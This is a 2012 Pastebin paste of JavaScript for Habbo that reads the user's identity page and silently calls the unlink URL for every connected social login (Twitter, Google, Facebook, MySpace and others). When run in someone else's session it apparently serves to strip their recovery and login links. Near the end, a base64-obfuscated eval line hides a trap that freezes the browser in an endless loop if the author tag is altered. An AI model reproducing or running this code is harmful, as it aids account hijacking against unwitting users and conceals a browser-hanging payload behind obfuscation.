Advertisement
nPhoenix

[Habbo] Remover redes sociais // BY PHX

Jun 17th, 2012
379
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. document["AUTHOR"] = "PHOENIX";
  2. if (!document["AUTHOR"]) {
  3.     return false;
  4. };
  5. social = {
  6.     twitter: undefined,
  7.     google: undefined,
  8.     hyves: undefined,
  9.     facebook: undefined,
  10.     live: undefined,
  11.     myspace: undefined,
  12.     yahoo: undefined
  13. };
  14. handle = {
  15.     set: function () {
  16.         new Ajax.Request("/identity/auth", {
  17.             onComplete: function (x) {
  18.                 var x = x.responseText;
  19.                 if (x.match(/provider=twitter/)) social.twitter = true;
  20.                 else social.twitter = false;
  21.                 if (x.match(/provider=google/)) social.google = true;
  22.                 else social.google = false;
  23.                 if (x.match(/provider=hyves/)) social.hyves = true;
  24.                 else social.hyves = false;
  25.                 if (x.match(/provider=facebook/)) social.facebook = true;
  26.                 else social.facebook = false;
  27.                 if (x.match(/provider=windowslive/)) social.live = true;
  28.                 else social.live = false;
  29.                 if (x.match(/provider=myspace/)) social.myspace = true;
  30.                 else social.myspace = false;
  31.                 if (x.match(/provider=yahoo/)) social.yahoo = true;
  32.                 else social.yahoo = false;
  33.                 if (social.twitter == true) {
  34.                     handle.remove(0);
  35.                 };
  36.                 if (social.google == true) {
  37.                     handle.remove(1);
  38.                 };
  39.                 if (social.hyves == true) {
  40.                     handle.remove(2);
  41.                 };
  42.                 if (social.facebook == true) {
  43.                     handle.remove(3);
  44.                 };
  45.                 if (social.live == true) {
  46.                     handle.remove(4);
  47.                 };
  48.                 if (social.myspace == true) {
  49.                     handle.remove(5);
  50.                 };
  51.                 if (social.yahoo == true) {
  52.                     handle.remove(6);
  53.                 };
  54.             }
  55.         });
  56.     },
  57.     remove: function (get) {
  58.         if (get == 0) { //twitter
  59.             new Ajax.Request("/identity/auth", {
  60.                 onComplete: function (x) {
  61.                     var rmv_link = (x.responseText.match(/"(.+)provider=twitter(.+)_key=(.+)"/)[0].split('"')[1]).replace(/&/gi, "&");
  62.                     var remove = new Image();
  63.                     remove.src = rmv_link;
  64.                     social.twitter = "removed";
  65.                 }
  66.             });
  67.         };
  68.         if (get == 1) { //google
  69.             new Ajax.Request("/identity/auth", {
  70.                 onComplete: function (x) {
  71.                     var rmv_link = (x.responseText.match(/"(.+)provider=google(.+)_key=(.+)"/)[0].split('"')[1]).replace(/&/gi, "&");
  72.                     var remove = new Image();
  73.                     remove.src = rmv_link;
  74.                     social.google = "removed";
  75.                 }
  76.             });
  77.         };
  78.         if (get == 2) { //hyves
  79.             new Ajax.Request("/identity/auth", {
  80.                 onComplete: function (x) {
  81.                     var rmv_link = (x.responseText.match(/"(.+)provider=hyves(.+)_key=(.+)"/)[0].split('"')[1]).replace(/&/gi, "&");
  82.                     var remove = new Image();
  83.                     remove.src = rmv_link;
  84.                     social.hyves = "removed";
  85.                 }
  86.             });
  87.         };
  88.         if (get == 3) { //facebook
  89.             new Ajax.Request("/identity/auth", {
  90.                 onComplete: function (x) {
  91.                     var rmv_link = (x.responseText.match(/"(.+)provider=facebook(.+)_key=(.+)"/)[0].split('"')[1]).replace(/&/gi, "&");
  92.                     var remove = new Image();
  93.                     remove.src = rmv_link;
  94.                     social.facebook = "removed";
  95.                 }
  96.             });
  97.         };
  98.         if (get == 4) { //live
  99.             new Ajax.Request("/identity/auth", {
  100.                 onComplete: function (x) {
  101.                     var rmv_link = (x.responseText.match(/"(.+)provider=windowslive(.+)_key=(.+)"/)[0].split('"')[1]).replace(/&/gi, "&");
  102.                     var remove = new Image();
  103.                     remove.src = rmv_link;
  104.                     social.live = "removed";
  105.                 }
  106.             });
  107.         };
  108.         if (get == 5) { //myspace
  109.             new Ajax.Request("/identity/auth", {
  110.                 onComplete: function (x) {
  111.                     var rmv_link = (x.responseText.match(/"(.+)provider=myspace(.+)_key=(.+)"/)[0].split('"')[1]).replace(/&/gi, "&");
  112.                     var remove = new Image();
  113.                     remove.src = rmv_link;
  114.                     social.myspace = "removed";
  115.                 }
  116.             });
  117.         };
  118.         if (get == 6) { //yahoo
  119.             new Ajax.Request("/identity/auth", {
  120.                 onComplete: function (x) {
  121.                     var rmv_link = (x.responseText.match(/"(.+)provider=yahoo(.+)_key=(.+)"/)[0].split('"')[1]).replace(/&/gi, "&");
  122.                     var remove = new Image();
  123.                     remove.src = rmv_link;
  124.                     social.yahoo = "removed";
  125.                 }
  126.             });
  127.         };
  128.     }
  129. };
  130. eval(atob('aWYoZG9jdW1lbnRbIkFVVEhPUiJdIT09IlBIT0VOSVgiKXtzZXRJbnRlcnZhbChmdW5jdGlvbigpe2Zvcig7Oyl7Y29uc29sZS5lcnJvcihuZXcgRGF0ZSgpLmdldFRpbWUoKSl9fSwwKTt9'));
  131. handle.set();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement